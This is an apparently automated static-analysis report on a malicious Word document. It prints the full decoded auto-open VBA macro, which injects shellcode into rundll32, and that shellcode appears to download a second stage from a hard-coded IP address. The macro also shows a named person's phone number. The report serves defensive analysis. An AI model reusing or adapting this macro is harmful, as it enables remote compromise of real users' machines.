Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e55ce91bf0c95272…

MALICIOUS

Office (OLE)

94.0 KB Created: 2018-09-26 12:47:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 17a5b2a251523b5b5efefd23796faa55 SHA-1: 74cfdc092fb22f7c975625bf0780cc40db2faef0 SHA-256: e55ce91bf0c9527206b6a725e1611c06077d5013b1707fd72c329e437fca8e7d
434 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Microsoft Word document that exploits CVE-2007-3899, a memory corruption vulnerability. The VBA macros within the document reference Windows API functions such as CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, indicating that it attempts to download and execute a second-stage payload. The ClamAV detection name 'Doc.Malware.Valyria-10025240-0' further supports its malicious nature.

Heuristics 14

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Valyria-10025240-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10025240-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 52, 46, 49, 51, 56, 46, 51, 46, 50, 51, 53, 0, 62, 17, -3, 4)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.google.com/accounts/TOS In document text (OLE body)
    • http://www.google.com/intl/en/privacy.htmlIn document text (OLE body)
    • https://www.google.com/publicdata/disclaimerIn document text (OLE body)
    • http://groups.google.com/group/public-data-labsIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8296 bytes
SHA-256: f7bbaccc3334a41a91ae027931417aa6d2cb4570bc3cad2e4166cbd07782ab5c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
    TOOEwNETlR As Long
    ihsAFfFuFT As Long
    tRjpFxEHJY As Long
    YoTJjAjskI As Long
End Type

Private Type STARTUPINFO
    IPdJOCEQbF As Long
    WSyHhwEqKW As String
    rJbFGiTWhH As String
    jjeCNdTBtA As String
    uGMiXWgHJn As Long
    HHzCnPYEKj As Long
    uGMiXWgHJnSize As Long
    HHzCnPYEKjSize As Long
    uGMiXWgHJnCountChars As Long
    HHzCnPYEKjCountChars As Long
    bOvkfsyVGp As Long
    jVmlAOtUga As Long
    lBUOzpSZBS As Integer
    IPdJOCEQbFReserved2 As Integer
    WSyHhwEqKW2 As Long
    mndHdWvOPK As Long
    DXklUXHcBn As Long
    DQPyBwAHoX As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function DPhntbcuSm Lib "kernel32" Alias "CreateRemoteThread" (ByVal TOOEwNETlR As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function yzwFWPesFq Lib "kernel32" Alias "VirtualAllocEx" (ByVal TOOEwNETlR As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function jTAhCXvxVE Lib "kernel32" Alias "WriteProcessMemory" (ByVal TOOEwNETlR As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function anWxozUtdl Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function DPhntbcuSm Lib "kernel32" Alias "CreateRemoteThread" (ByVal TOOEwNETlR As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function yzwFWPesFq Lib "kernel32" Alias "VirtualAllocEx" (ByVal TOOEwNETlR As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function jTAhCXvxVE Lib "kernel32" Alias "WriteProcessMemory" (ByVal TOOEwNETlR As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function anWxozUtdl Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
95, 105, 110, 105, 116, 46, 103, 105, 102, 0, 42, 38, 3, 74, 95, 109, -91, 125, 92, 125, 16, -72, -6, 104, 74, -37, -60, 111, 37, -92, -68, 40, -76, -56, -75, -34, -3, 102, 39, -95, _
90, 99, 31, -18, 106, -121, 120, 19, 28, -86, 102, 77, 29, 1, 4, -19, -6, 84, 118, -13, -52, -66, 89, -118, 82, 14, -47, -55, -28, -31, -113, -69, 103, -47, 116, 103, -23, 2, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, _
87, 79, 87, 54, 52, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 51, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 13, _
10, 0, 40, 30, 70, -39, -60, 116, 88, -94, 68, -32, 60, 0, -29, -84, -92, -9, 59, -16, 24, -72, -121, -77, 101, -112, -12, 73, -72, -126, -121, -28, -112, 44, 52, 71, -26, 68, 43, 118, _
3, -87, -33, -10, 65, 1, 103, -116, -79, -49, 120, -69, 25, -25, -18, -4, -79, -128, 68, -94, -112, 34, 64, 26, 4, 31, -76, 2, -47, -50, 54, 127, -110, 81, -33, -58, 60, -74, 33, -48, _
109, -49, 15, 79, -15, 115, 122, -37, -40, -106, -106, -127, 19, 20, -128, 46, 95, 109, 30, 34, -64, 105, -4, 72, 84, -9, -31, -86, 79, 126, 115, 77, -91, -128, 67, -114, 94, 24, 12, -5, _
-85, -86, 55, 40, -17, 0, 11, -10, 73, -19, 16, -40, 111, 22, -25, -116, 57, 93, 55, 1, -128, 81, 75, -128, 98, -12, 52, -81, -56, 48, 107, 44, -21, -94, 12, -25, 93, -119, 20, -26, _
-41, 7, 81, -101, 86, -10, -65, 96, -36, 26, 0, -104, 28, -26, 53, -100, -55, -95, 103, 61, 78, 29, 116, 1, 58, -108, -121, 94, -59, -87, -81, -108, 99, 18, -121, -106, -114, -37, 12, -16, _
-10, -69, 124, 127, -47, -102, 56, -33, 119, 34, 50, 79, -106, -64, 32, -119, 34, 38, 125, 29, -33, -18, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 40, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 52, 46, 49, 51, 56, 46, 51, 46, 50, 51, 53, 0, 62, 17, -3, 4)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = anWxozUtdl(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = yzwFWPesFq(pInfo.TOOEwNETlR, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = jTAhCXvxVE(pInfo.TOOEwNETlR, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = DPhntbcuSm(pInfo.TOOEwNETlR, 0, 0, rwxpage, 0, 0, 0)
    
    ActiveDocument.Range.Text = "Er is een probleem opgetreden met deze enquête. Neem a.u.b. contact op met de maker Vincent van Zanten op 06-13108970."
    
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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